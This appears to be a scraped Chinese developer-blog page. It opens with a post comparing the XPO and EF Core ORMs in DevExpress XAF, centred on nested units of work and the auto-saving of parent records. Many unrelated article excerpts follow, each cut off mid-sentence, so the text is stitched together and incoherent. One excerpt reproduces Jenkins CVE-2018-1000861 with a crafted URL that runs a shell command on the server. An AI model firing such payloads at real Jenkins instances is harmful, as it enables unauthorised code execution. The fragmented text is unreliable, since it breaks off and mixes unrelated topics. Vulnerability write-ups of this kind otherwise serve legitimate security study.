首先抛出一个问题,在XAF项目中,我们现在可不可以选择EFCore?每个人可能都有自己的答案,这也没有什么标准答案。下面是我的个人看法,在刚接触XAF时,如何选择ORM,我也是犹豫了许久,最终选择了XPO,主要基于以下几点考虑
1.XPO是DEV的产品,支持力度及倾向性要比EFCore高
2.XPO是XAF最开始支持的ORM,XAF中的各个模块对XPO的支持更好(有个别模块不支持EFCore)
3.在XAF的社区中,关于XPO的各个方面的问题都有相应的解答,相对来说比EFCore更有优势
我想应该也有部分小伙伴可能与我的考虑是一致的,但为啥要抛出这个问题呢,是因为XAF的一篇文章(http://docs.devexpress.com/eXpressAppFramework/404186/why-we-recommend-ef-core-over-xpo)
DEV建议在新的XAF项目中优先采用EFCore,文章中对比了XPO与EFCore,总体来说它们各有特点,也有很多相似之处。DEV建议优先选择EFCore的原因可能与XPO一直处于维护状态有关,此外,EFCore的发展势头也越来越强劲,在XAF中使用EFCore已成为大势所趋。但是将XPO迁移到EFCore并不容易,由于XAF最初的ORM是XPO,因此某些功能是基于XPO或倾向于XPO,所以在EFCore上的效果可能会有所不同。
虽然XPO和EFCore在语法上有许多不同,但在思想上基本一致。大部分XPO中的特性都被EFCore支持,但是有一个EFCore没有的特性,即NestedUnitOfWork,在EFCore中对应NestedDbContext,但EFCore没有。XAF利用XPO的这个特性构建了XPNestedObjectSpace,使父子表(或主从表)之间的操作更加自然和灵活。
由于EFCore没有这个特性,因此使用起来与XPO的操作不一致,甚至会给人一种不可接受的感觉。下面通过刨析它们内部的原理,来讲解它们行为不一致的原因,同时不可接受的地方,通过了解后是否可以接受它。
首先讲一下,在XPO中习以为常的功能,在EFCore中却会出现不一样的行为。这主要出现在父子表中,或者说聚合实体中,这里假设一个场景,用户表(User)中包含一个用户标记(UserTag)列表(Tags),它是聚合的(Aggregated),这是一个一对多的关系。当我们新建User后,再向Tags列表中添加UserTag时,在EFCore下,会自动保存User,而在XPO中不会有这样的操作,这样会造成一个问题,如果此时,我想放弃当前新建的User,我把User关闭后,列表中会多一条刚才放弃的User,这种现象在XPO中是没有的,为什么会有这样不一致的行为呢。这就是前面提到的XPNestedObjectSpace,而EFCore没有这样的一个实现。
这里要引出XPO中的Session,它与EFCore的DbContext是对应的(确切的说与UnitOfWork更像),Session有多个子类如UnitOfWork,NestedUnitOfWork,ExplicitUnitOfWork,通过名称我们也可以了解它们的用途,我们平时在创建BO类时,都要有一个包含Session参数的构造函数,这里的Session一般都是它的子类UnitOfWork,Session中的事务比较简单,我们在调用BO对象中的Save方法时,就会直接提交到数据库。UnitOfWork又多了一层,调用BO对象中的Save方法时,并不会立即提交到数据库,我们需要调用UnitOfWork中的CommitChanges方法,它会将工作单元中的BO对象一并提交到数据库,而ExplicitUnitOfWork会启用一个显式事务(也称作数据库级事务),我们通过BeginTransaction方法开启事务,通过CommitTransaction方法提交事务,在没有提交之前,你可以多次调用CommitChanges方法,如果其中一个提交出现异常或其它原因放弃提交,你可以通过RollbackTransaction方法回滚事务,这样就可以将之前的所有提交都进行回滚。
NestedUnitOfWork是我们需要重点关注的,它就是嵌套工作单元,你也可以把它看作是UnitOfWork的子工作单元,它有一个好处就是,它可以直接访问到父级中的对象也就UnitOfWork中的对象,同时它提交时,并不会直接提交到数据库,而是等待父级的UnitOfWork一起提交,它们的提交是放在同一事务中的,如果NestedUnitOfWork不提交,而父级UnitOfWork进行了提交,此时提交的内容不会包含NestedUnitOfWork中的对象。
以上NestedUnitOfWork的特点带来许多好处,如可以使父子表间的编辑变的简单,父表提交时,可以一起提交子表,父表放弃后,子表也会放弃,子表也可以随时单独放弃等等,当与XAF的主从视图结合时,就会有很不错的操作体验。
如果没有NestedUnitOfWork,将会发生什么呢,首先两个UnitOfWork是不能直接通信的,其中一个UnitOfWork创建的对象,如果另一个UnitOfWork想访问,第一个UnitOfWork需要先提交到数据库,第二个UnitOfWork再从数据库中读取,而NestedUnitOfWork可以直接通过GetObject方法访问到父级UnitOfWork中的对象,这样就减少了一次提交与读取的过程。
再回到前面创建User的示例,由于UserTag与User是聚合关系,也就是UserTag只属于一个User,同时UserTag中的User外键还不能为空,也就是说UserTag脱离User,它本身就没有意义,相当于订单与订单明细的关系。在这种情况下,我们在User中新增UserTag时,UserTag首先需要一个User,而如果此时User也是新建的,并且它们分别在不同的UnitOfWork中时(在XAF的主从视图中,如果新建从表数据,XAF会单独创建一个ObjectSpace,也就是当前User与UserTag会在不同的ObjectSpace中),我们能想到的就是保存User,在UserTag所在的UnitOfWork中从数据库中读取User。
看到这里的小伙伴应该明白了,XAF为什么会在新增UserTag时需要保存User了吧。我们刚才谈到的是聚合关系,如果不是聚合的一对多关系是否会自动保存父级呢,不会的,因为不是聚合,那它的外键可以为空,也就是UserTag的User外键可以为空,这样在新建时,可以不必事先获取父级,那也就没必要保存父级了。
前面讲的都是新建的User,如果是已存在的User,也就是从列表中打开的User,如果在User中新增UserTag会不会自动保存呢,也不会,因为User已存在于数据库中,在UserTag的UnitOfWork中就可以从数据库中获取到User,这样也没有必要保存User。如果仔细观察,在没有修改User的情况下,新增UserTag,保存按钮还是处于禁用状态,这是由于它们处在不同的UnitOfWork中互不干扰。
在EFCore中,将上面的UnitOfWork替换为DbContext,也就知道了为什么EFCore会出现与XPO不一致的行为了,这里的关键点就是NestedUnitOfWork,而EFCore没有对应的实现,那是不是EFCore就不是一个好的选择呢,我倒觉得不是,通过上面的示例,我们可以看到,除了在新建具有聚合关系的对象时,会出现与XPO不一致的行为,其它的地方与XPO基本保持一致。
随手创建,随手放弃,可能是我们日常测试时经常操作的,但是在上线运行时,日常操作会有相关的约束,不会频繁出现这样的行为,再加上XAF自动保存时也会进行数据校验,校验不通过也是无法进行自动保存的,同时由于Blazor自身的特点,对于一些需要长时间录入的页面,我们还需要自己加入自动保存的功能,已防止录入数据的丢失。
我曾经试图去解决这个问题,为EFCore创建一个EFCoreNestedObjectSpace,EFCoreNestedObjectSpace直接采用父级的DbContext,这样可以实现在一个事务中提交,但最后发现解决一个问题,引出一堆问题,最后还是放弃了,在底层没有支持的情况下,是无法实现与XPO相似效果的。
在了解了上面的内容后,我们发现,XAF中使用EFCore,与XPO相比出现的不一致行为,也不这么神秘了。但这不是全部,EFCore与XPO还是有很多不同的,如果习惯了XPO,你会发现在XPO中有许多默认行为,在EFCore中需要手动的配置,比如延迟删除、乐观并发等,这些需要注意。
关于XPO中的延迟删除(DeferredDeletionAttribute),有些小伙伴会把它当成软删除(SoftDelete),这是不正确的,它与软删除还是不一样的,虽然延迟删除不会删除记录,但它会清除记录中的外键,它的存在是为了解决XPO删除记录时,由于数据库的外键约束造成的失败,但本质还是删除,只是保留了记录,事后需要自己清理。当你试图恢复延迟删除的记录,你会发现记录与其它记录的关系没有了,这也是为什么不能用作软删除的原因。EFCore中实现软删除比较简单,使用HasQueryFilter配置实体就能实现软删除的功能,事后我会在XAF中实现一个EFCore版的软删除分享给大家。
随着XAF中使用EFCore的深入,可能还会发现与XPO的不同,或出现一些无法解决的问题,我都会更新到文章中。当我完全切换到EFCore时,可能今后就要远离XPO了,有些不舍,但总要去面对,新技术总会取代旧的技术。
http://www.cnblogs.com/haoxj/p/17416380.html
目录一、做点贡献1.Fork该仓库2.Clone代码并修改3.提交修改到自己的仓库4.提交pullrequests5.源仓库审核pullrequests二、Fork过来的仓库如何更新三、如何获取并更新指定Tag1.如何Clone指定的标签2.我要添加注释3.代码如何更新版本3.1一次失败的尝试3.2通过upstream获取更新合并一、做点贡献想对别人的某个仓库“做点贡献”怎么办?1.Fork该仓库首先Fork该仓库,本文以git-learn这个仓库为例这样自己的账号下就会出现这样一个仓库2.Clone代码并修改然后把这个仓库clone下来gitclonehttps://github.com/FlyLolo/git-learn.git复制我新建了一个Student类3.提交修改到自己的仓库然后将修改提交gitadd. gitcommit-m'addstudent' gitpushoriginmaster复制这样会将修改提交到自己账号下的git-learn仓库那么如何将修改提交到源仓库呢?4.提交pullrequests如果想将修改提交到源仓库,需要进行pullre
NameNode和DataNode工作原理组件模块说明NameNode工作原理第一阶段:NameNode启动第二阶段:SecondaryNameNode工作DataNode工作机制组件模块说明NameNode:存储文件的元数据。作用:管理HDFS的名称空间;配置副本策略;管理数据块(Block)映射信息;处理客户端读写请求。NameNode两个重要文件(内存中的镜像=fsimage+edits)。fsimage:元数据镜像文件。NameNode的元数据存放在内存中,为了断电不丢数据,因此需要在磁盘中备份元数据。edits:元数据操作日志(针对目录树的修改操作),被写入共享存储系统中,如NFS、JournalNode。当在内存中的元数据更新时,如果同时更新FsImage,就会导致效率过低,但如果不更新,就会发生一致性问题,一旦NameNode节点断电,就会产生数据丢失。因此,引入Edits文件(只进行追加操作,效率很高)。每当元数据有更新或者添加元数据时,修改内存中的元数据并追加到Edits中。这样,一旦NameNode节点断电,可以通过FsImage和Edits的合并,合成元数据。Se
作者简介 Jeff,携程前端开发经理,对前端自动化技术感兴趣,推动了团队使用cucumber进行UI自动化测试。Harry,携程前端开发工程师,秉持“Don’tmakemethink“的理念向用户交付页面、向同事协作工程。为应对携程国际化的需求,机票前端团队开始业务统一化的步伐,Ctrip和Trip的业务整合和代码复用成为面临的困难和挑战。在实践过程中,团队积累了大量的经验,下文是机票实现业务统一化、技术中台化、迭代敏捷化的思路和方法。 一、背景Trip与Ctrip为独立运行的两个站点,虽存在各自品牌化的差异,其业务功能有着极高的一致性。两个站点相互独立开发与维护存在着以下的问题:1.1技术架构不统一Trip与Ctrip使用的开发技术栈存在较大差异。Trip订后场景在APP端使用NativeiOS、Android开发,H5/PC端采用React技术;Ctrip订后项目使用可在iOS及Android双端运行的基于ReactNative的CRN①框架,在H5端采用CRN-WEB②进行动态打包将CRN代码生成对应H5页面。两个站点整体技术架构上多种技术方案并行,相同的业务逻辑需要在各端分别实
ProblemDescription 虽然草儿是个路痴(就是在杭电待了一年多,居然还会在校园里迷路的人,汗~),但是草儿仍然很喜欢旅行,因为在旅途中会遇见很多人(白马王子,0),很多事,还能丰富自己的阅历,还可以看美丽的风景……草儿想去很多地方,她想要去东京铁塔看夜景,去威尼斯看电影,去阳明山上看海芋,去纽约纯粹看雪景,去巴黎喝咖啡写信,去北京探望孟姜女……眼看寒假就快到了,这么一大段时间,可不能浪费啊,一定要给自己好好的放个假,可是也不能荒废了训练啊,所以草儿决定在要在最短的时间去一个自己想去的地方!因为草儿的家在一个小镇上,没有火车经过,所以她只能去邻近的城市坐火车(好可怜啊~)。Input 输入数据有多组,每组的第一行是三个整数T,S和D,表示有T条路,和草儿家相邻的城市的有S个,草儿想去的地方有D个; 接着有T行,每行有三个整数a,b,time,表示a,b城市之间的车程是time小时;(1=<(a,b)<=1000;a,b之间可能有多条路) 接着的第T+1行有S个数,表示和草儿家相连的城市; 接着的第T+2行有D个数,表示草儿想去地方。Output 输出草儿能去某个
为了整个界面美观,我们需要对提交和重置按钮美化一番,可是无论用什么CSS样式定义按钮,都很难达到满意的效果,只得用JS+图片的方式进行处理,下边我是总结出的三种方法: 1、用图片代替提交和重置按钮,给图片加onclick事件functionfsubmit(obj){ obj.submit(); } functionfreset(obj){ obj.reset(); } 姓名:复制 2、给1的图片加上style,用于弥补方法1鼠标移到图片上无反应,未能给客户好的浏览体验functionfsubmit(obj){ obj.submit(); } functionfreset(obj){ obj.reset(); } 姓名:复制 3、用图片代替提交和重置按钮,并加上链接,效果同2functionfsubmit(obj){ obj.submit(); } functionfreset(obj){ obj.reset(); } 姓名:复制 4、使用图像域。由于默认图像域点击时都是提交表单,因而要进行适当的处理:functionfsubmit(obj){ o
写在前面生活中你一定听说过——能者多劳作为Java程序员,你一定听过——这个功能请求慢,能加一层缓存或优化一下SQL吗?看过中国古代神话故事的也一定听过——天上一天,地上一年一切设计来源于生活,上一章学并发编程,透彻理解这三个核心是关键中有讲过,作为"资本家",你要尽可能的榨取CPU,内存与IO的剩余价值,但三者完成任务的速度相差很大,CPU>内存>IO分,CPU是天,那内存就是地,内存是天,那IO就是地,那怎样平衡三者,提升整体速度呢?CPU增加缓存,还不止一层缓存,平衡内存的慢CPU能者多劳,通过分时复用,平衡IO的速度差异优化编译指令上面的方式貌似解决了木桶短板问题,但同时这种解决方案也伴随着产生新的可见性,原子性,和有序性的问题,且看三大问题可见性一个线程对共享变量的修改,另外一个线程能够立刻看到,我们称为可见性谈到可见性,要先引出JMM(JavaMemoryModel)概念,即Java内存模型,Java内存模型规定,将所有的变量都存放在主内存中,当线程使用变量时,会把主内存里面的变量复制到自己的工作空间或者叫作私有内存,线程读写变量时操作的是自
大家都知道ISVPartner可以完成将一个Idea变为投放到市场的产品的过程,那么这个过程是怎么样的呢?今天我们就将介绍ISV产品生命周期的六个阶段。你还会了解到这个开发模型如何帮助你走向成功。在介绍这些之前,我们先来讨论一下使用Salesforce平台能够创建并销售的应用和Lightning组件。什么是应用?应用用来解决业务问题。如果你已经自定义了Salesforce以使得一个工作更快地被完成或者一个任务更早的被执行,你可能就需要创建一个应用。作为一个ISVPartner,我们要将应用看作是可以在Salesforce平台上开发的并可以分发给其他用户的产品。以下几项要素已经被预置在应用中了。标准对象的自定义字段页面布局列表视图工作流Visualforce页面Apex代码有关可以包含在应用中的要素的完整列表,可查看ISVforce向导。现在我们来讲讲Lightning组件。什么是Lightning组件?Lightning组件是应用的构建模块。模块之间是完全独立的,并且可以被重用。通过一个可支持拖拽操作、被称为LightningAppBuilder的直观界面,Salesforce客户可以
点击标题下「大数据文摘」可快捷关注作者/张天雷校对/郭蕾摘自:www.infoq.com去年11月,一篇名为《PlayingAtariwithDeepReinforcementLearning》的文章被初创人工智能公司DeepMind的员工上传到了arXiv网站。两个月之后,谷歌花了500万欧元买下了DeepMind公司,而人们对这个公司的了解仅限于这篇文章。近日,Tartu大学计算机科学系计算神经学小组的学者在robohub网站发表文章,阐述了他们对DeepMind人工智能算法的复现。在arXiv发表的原始论文中,描述了一个单个的网络,它能够自我学习从而自动的玩一些老的电视游戏。它仅仅通过屏幕上面的图像和游戏中的分数是否上升下降,从而做出选择性的动作。在训练的一开始,这个程序对游戏一点都不了解。它并不知道这个游戏的目标,是保持生存、杀死谁或者是走出一个迷宫。它对这个游戏的影响也不清楚,并不知道它的动作会对这个游戏产生什么影响,甚至不知道这个游戏中会有哪些目标物品。通过在这个游戏中尝试并且一遍一遍失败,这个系统会逐渐学会如何表现来获得比较好的分数。同时需要注意的是,这个系统对所有不同的
经过前两次的学习,是不是对PWM的基础知识有一些了解呢,今天我们来介绍下PWM时钟和死区时间,依然以飞思卡尔KV4x系列MCU为例PWM时钟框图PWM模块的时钟有三个来源,从下图可以清楚的看到,IPBusclock,EXT_CLK,AUX_CLK。控制寄存器中的PRSC域用来设置分频器,为了产生低频的PWM信号,可以设置PRSC域使时钟分频范围在(1~128),然后在配置PWM的初始值,初始化PWM模块。一定要学会看图学习嵌入式。死区时间插入逻辑在控制IGBT,等开关管组成的H桥工作的时候死区时间是非常重要的一个功能,死区时间如果设置不当,还会影响系统工作,甚至造成严重后果。来看看飞思卡尔kv4x系列MCU的死区时间逻辑在互补模式下的产生。 在互补模式下,PWM可以用来驱动上下桥鼻的开关管,像上图所示,当上面的PWM通道激活时候,下面的PWM通道是未被激活的,反之亦然。为了避免直流母线短路,且危及开关管,必须确保上下开关管的导通间隔没有重叠,但是一般开关管的关断时间比导通时间长,所以为了避免上下管子直通,必须在开关周期插入死区时间,如下图所示 死区时间生成器会自动在互补输出的PWM对插
BitBlt函数该函数对指定的源设备环境区域中的像素进行位块(bit_block)转换,以传送到目标设备环境。原型: BOOLBitBlt( HDChdcDest, intnXDest,intnYDest,intnWidth,intnHeight, HDChdcSrc, intnXSrc,intnYSrc, DWORDdwRop);参数: hdcDest:指向目标设备环境的句柄。 nXDest、nYDest:指定目标矩形区域左上角的X轴和Y轴逻辑坐标 nWidth、nHeight:指定源和目标矩形区域的逻辑宽度和逻辑高度。 hdcSrc:指向源设备环境的句柄。 nXSrc、nYSrc:指定源矩形区域左上角的X轴和Y轴逻辑坐标。 dwRop:指定光栅操作代码。这些代码将定义源矩形区域的颜色数据,如何与目标矩形区域的颜色数据组合以完成最后的颜色。下面列出了一些常见的光栅操作代码: BLACKNESS 表示使用与物理调色板的索引0相关的色彩来填充目标矩形区域,(对缺省的物理调色板而言,该颜色为黑色)。DSTINVERT 表示使目标矩形区域颜色取反。MERGECOPY 表示使用布尔型AND(
UnrealUMG如果你对获取某个Widget的子节点数量不对,发现少了,有些子节点没获取到,可以注意一下这个下述方法。 GetChildWidgets,GetAllWidgets等获取的数量不对的情况。 下述是UMG遍历子节点的实现代码 voidUWidgetTree::ForWidgetAndChildren(UWidget*Widget,TFunctionRef<void(UWidget*)>Predicate) { //Searchforanynamedslotwithcontentthatweneedtodiveinto. if(INamedSlotInterface*NamedSlotHost=Cast<INamedSlotInterface>(Widget)) { TArray<FName>SlotNames; NamedSlotHost->GetSlotNames(SlotNames); for(FNameSlotName:SlotNames) { if(UWidget*SlotContent=NamedSlot
Spring中bean的生命周期短暂吗? 在spring中,从BeanFactory或ApplicationContext取得的实例为Singleton,也就是预设为每一个Bean的别名只能维持一个实例,而不是每次都产生一个新的对象使用Singleton模式产生单一实例,对单线程的程序说并不会有什么问题,但对于多线程的程序,就必须注意安全(Thread-safe)的议题,防止多个线程同时存取共享资源所引发的数据不同步问题。 然而在spring中可以设定每次从BeanFactory或ApplicationContext指定别名并取得Bean时都产生一个新的实例:例如: 在spring中,singleton属性默认是true,只有设定为false,则每次指定别名取得的Bean时都会产生一个新的实例 一个Bean从创建到销毁,如果是用BeanFactory来生成,管理Bean的话,会经历几个执行阶段(如图1.1): 1:Bean的建立: 容器寻找Bean的定义信息并将其实例化。 2:属性注入: 使用依赖注入,Spring按照Bean定义信息配置Bean所有属性 3:BeanNameAw
主应用代码 主应用工程里面源代码新建qiankun/index.js,通信代码如下: import{initGlobalState}from"qiankun"; importstorefrom'@/store' //主应用与微应用数据通信 conststate={ subappClassName:''//设置子应用打包根的class类名 } constactions=initGlobalState(state); actions.setGlobalState(state); actions.onGlobalStateChange((state,prev)=>{ const{subappClassName}=state; store.dispatch('setSubappClassName',subappClassName); }) export{ actions }; 复制 在主应用实例里面调用方式: <script> importactionsfrom'@/qiankun'//导入actions实例 exportdefault{ created(){ act
一、JSON简介 1、JSON全称是JavaScriptObjectNotation即JavaScript对象标记法。 JSON是一种轻量级(Light-Weight)、基于文本的(Text-Based)、可读的(Human-Readable)格式 JSON的名称中虽然带有JavaScript,但这是指其语法规则是参与JavaScript对象的,而不是指只能用于JavaScript语言。 JSON无论对于人,还是对于机器来说,都是十分便于阅读和书写的,而且相比XML(另一种常见的数据交换格式),文件更小,因此迅速成为网络上十分流行的交换格式。 近年来JavaScript已经成为浏览器上事实上的标准语言,JavaScript的风靡,与JSON的流行也有密切的关系。因此JSON本身就是参考JavaScript对象的规则定义的,其语法与JavaScript定义的语法几乎完全相同。 JSON格式创始人声称此格式永远不升级,这就表示这种格式具有长时间的稳定性,10年前写的文件,10年后也能用,没有任何兼容性问题。 2、JSON的语法规则是怎样的 JSON的语法规则很简单,可称得上“优雅完美”总结
最近公司一直招人,陆续面试了六七个,从面试者身上,对当前的工作环境及找工作的方法作一点思考。 现在越来越多人进入到测试这个行业,面试的有刚毕业的,有工作一年左右的,也有工作5年多的,那么就以这三个工作年限为点,展开聊一聊。 面试者A,刚毕业的大学生: 毕业生A同学,是一个勤奋好学的学生,在学校就参加培训课,主学Python编程,自己在校期间也写了差不多一万行代码,还学习Java编程语言与一些主流的测试工具,人也比较灵活,沟通方面没有什么大问题,算是毕业生面试者中的佼佼者了,因此要的薪资也比较高。但是唯一印象不好的是写了实习工资是8K,且工作时长只有4个月,综合判断下来是很明显的胡写,可能为了让当前应聘工资更高一点吧!那么破绽是什么?没有实操经验,在问及之前的项目时,很明显的答不上。设想如果刚毕业能给到8K以上,至少说还算优秀,以自己的学历资质等,应该会在之前岗位历练一段时间才对。后来自己也承认写的是假的,因此最终没有面上。所以“诚实点”还是比较好,要么有实际的工作经历,能让面试者信服你是值得的,不然就别假大空,容易被拆穿的谎言会给面试官留下不好的印象。 另一部分刚毕业的大
漏洞介绍 StaplerWeb框架中的钉书机/core/src/main/java/org/kohsuke/stapler/MetaClass.java中存在一个代码执行漏洞,攻击者可以使用该方法调用某些方法通过访问并非旨在通过这种方式调用的特制URL来访问Java对象。 影响版本 Jenkins2.153及更早版本,LTS2.138.3及更早版本 复现过程 访问有Jenkins远程命令执行漏洞(CVE-2018-1000861)的网站首页 构建特定的url进行命令执行,如在/tmp目录下创建shell文件 http://192.168.222.196:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/s
hostnamectl--staticset-hostnametCentos 1.下载文件到/usr/local/srcocamlunisoninotify-tools 2.安装inotify-toolscd/usr/local/srctarzvxfinotify-tools-3.14.tar.gzcdinotify-tools-3.14 ./configure--prefix=/usr/local/inotifymake&&makeinstall cd/usr/local/inotify/ echo"PATH=/usr/local/inotify/bin:$PATH">/etc/profile.d/inotify.shsource/etc/profile.d/inotify.sh echo"/usr/local/inotify/lib">/etc/ld.so.conf.d/inotify.confldconfig-v|grepinotify ln-sv/usr/local/inotify/include//usr/include/inotify  
通过系统分享组件实现分享功能 Intent.createChooser()方法用来弹出系统分享列表。 createChooser(Intenttarget,CharSequencetitle,IntentSendersender)参数。 常规方法 publicvoidshare(Contextcontext){ IntentsendIntent=newIntent(); sendIntent.setAction(Intent.ACTION_SEND); sendIntent.putExtra(Intent.EXTRA_TEXT,content); sendIntent.setType("text/plain"); context.startActivity(sendIntent); }复制 可以调用手机中所有的开发分享接口的应用,进行分享。 选取特定应用分享方法 举例:纯文本分享给QQ好友(QQ官方分享SDK是不支持纯文本分享的,但通过这种方式可以) publicvoidshareQQ(ContextmContext){ IntentsendIntent=newIntent(
整理常见的整理全网最全K8S集群管理工具、平台解决方案。 1Rancher Rancher中文官网:https://docs.rancher.cn/ 2KubeSphere 官网:https://kubesphere.com.cn/ 面向云原生应用的容器混合云 KubeSphere愿景是打造一个以Kubernetes为内核的云原生分布式操作系统,它的架构可以非常方便地使第三方应用与云原生生态组件进行即插即用(plug-and-play)的集成,支持云原生应用在多云与多集群的统一分发和运维管理。 3KubeOperator 官网:https://kubeoperator.io/ 4Kubecube Github地址:https://github.com/kubecube-io/kubecube KubeCube是一个开源的企业级容器平台,为企业提供Kubernetes资源可视化管理以及统一的多集群多租户管理功能。 KubeCube可以简化应用部署、管理应用的生命周期和提供丰富的监控界面和日志审计功能,帮助企业快速构建一个强大和功能丰富的容器云管理平台。 4.1核心能力
A 题意:有两个游戏机在玩游戏,但是只有一个充电器,两个游戏机必须都要有电游戏才能继续。有电的标准是有一个电就行。 贪心,瞎鸡巴写了个代码, #include<stdio.h> #include<string.h> #include<algorithm> #include<math.h> usingnamespacestd; intmain() { inta1,a2; while(~scanf("%d%d",&a1,&a2)) { intsum=0; while(1) { if(a1<=0||a2<=0) { break; } if(a1>a2) { intk1=a1-1; if(k1==1) { sum++; break; } k1/=2; a2+=k1; sum+=k1; a1=a1-k1*2; } else { intk2=a2-1; if(k2==1) { sum++; break; } elseif(k2==0) { break; } k2/=2; sum+=k2; a1+=k2